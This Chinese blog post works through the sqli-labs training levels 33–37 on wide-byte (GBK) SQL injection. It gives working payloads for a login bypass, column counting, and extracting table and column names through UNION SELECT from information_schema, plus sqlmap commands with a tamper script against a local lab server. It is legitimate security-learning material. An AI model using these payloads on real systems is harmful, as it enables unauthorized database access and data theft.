SQL Injection7(宽字节注入2)

版权声明:本文为博主原创文章,未经博主允许不得转载。如有问题,欢迎指正。 https://blog.csdn.net/qq_26406447/article/details/90057256

SQL Injection7(宽字节注入2)

前言

前面结合sqli的32关卡初步理解了宽字节注入方法与原理

这里再结合sqli剩下的宽字节注入关卡(33,34,35,36,37)进行一个巩固和学习

练习

Less-33

这个我试了下,结果发现和Less-32完全一样啊,按照Less-32方法来完全可行

SQL Injection6(宽字节注入)

这里可以看我的上一篇博客,注入方法完全一样

我查了下两关的区别,主要在于转义这一块,32用的是自己定义的函数进行的转义主要在\ , ', ",前面加上\符号转义,33用的是自带的addslashes()函数多了一个队NULL空字符的转义

sqlmap也是用前面的方法就能成功注入

Less-34

本关是一个用户名密码登录的界面,然后是post传参
1
可以看到提示我们在用户名和密码后面加上’后被转义成了\’。

后面再用hackbar来提交就有点问题,主要%df它传过去不是%df,变成%C3%9F,我也很迷怎么会变成这个别的都没变,所以这里用burp直接抓包改

这里用到sql万能密码,也就是对方查询数据库用的是select * from tablename where username = ‘’ and password = ‘’ 这样的查询语句,所以username我们写成1‘ or 1=1#这样的语句,查询条件就变成永真(不同情况要单独考虑)。
2
如上图修改后,我们就得到下图的返回
3
可以看到已经显示登录成功了,而且返回了用户名和密码,这就给了下一步注入的空间

首先还是来确定字段%df%27 or 1=1 order by 3 %23
4
5

发现3失败,再来试下2
6
可以看到成功了

uname=%df%27 union select database(),version() %23&passwd=1&submit=Submit

这里来看数据库和版本
7
后面的操作和32,33就同理了

爆表名

uname=%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23&passwd=1&submit=Submit
8
爆字段名

uname=%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273%23&passwd=1&submit=Submit
9
剩下就是爆具体数据了…

sqlmap测试

用脚本很轻松的实现了注入

sqlmap -u “http://192.168.2.123:8507/Less-34/” --tamper “unmagicquotes.py” --data “uname=1&passwd=1&submit=Submit”

下面不带脚本也成功注出来了

sqlmap -u “http://192.168.2.123:8507/Less-34/” --level 3 --data “uname=%df&passwd=1&submit=Submit”

查看源码可以看到它的查询语句

SEIECT username,password FROM users WHERE username=‘ u n a m e a n d p a s s w o r d = uname' and password=' passwd’ LIMIT 0,1

与我们猜想的基本一致

Less35

这个放这里很有意思啊,自己也卡主了…后面去看了下别人的博客猜恍然大悟

首先sql注入我们应该区分的是字符型注入还是数字型注入,这道题的确开启了转义,但是人家是道数字型注入的题…根本不需要单引号…直接联合注入就OK

咋看这道题放这里很诡异,因为不需要宽字节注入,但仔细一想却觉得很有道理,给了我们很好的提醒,注入首先是要判断类型(字符还是数字)

sqlmap

sqlmap -u "http://192.168.2.123:8507/Less-35/?id=1"这么简单的一句话就能成功注出来

连level等级都不需要调

Less36

和32,33操作完全一样(亲测)

这里主要使用的过滤函数改为了mysql_real_eacape_string()

这个函数会比addslashes多过滤些东西

\0xx \n \r \ ’ " \x1a 以上都会被过滤在前面加上\

Less37

这里就和34完全一样了,

这里也是用的mysql_real_eacape_string()函数来过滤了

36,37 sqlmap也是和前面同样的操作可行

总结

  1. 引起宽字节注入的函数:

    自定义的转义函数,mysql_real_eacape_string(),addslashes(),mysql_escape_string等,还有一种情况是magic_quote_gpc,不过高版本的PHP将去除这个特性

  2. 正确的注入顺序

    35题告诉我们正确的注入顺序应该是先找注入点看是否存在注入

    再判断注入类型,字符型还是数据=值型

    最后再结合不同的防护策略使用不同的注入方法

  3. 加强工具的学习和练习吧,这里算是第一次用sqlmap调用脚本,后面要加强对脚本的理解,然后自己来编写下脚本吧,毕竟提供的脚本有限,一些特殊环境还是需要自己来写脚本的

参考

  1. Sqli-Labs:Less 32 - Less 33
  2. sqli-labs(十四)(宽字节注入)

猜你喜欢

转载自blog.csdn.net/qq_26406447/article/details/90057256